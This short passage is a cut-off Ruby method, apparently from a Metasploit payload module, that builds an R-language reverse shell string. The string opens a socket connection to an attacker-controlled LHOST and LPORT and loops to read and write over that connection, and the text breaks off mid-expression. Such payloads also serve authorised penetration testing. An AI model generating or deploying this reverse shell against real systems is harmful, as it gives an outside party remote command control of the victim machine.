def r_string
    lhost = datastore['LHOST']
    lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
    return "s<-socketConnection(host='#{lhost}',port=#{datastore['LPORT']}," +
      "blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +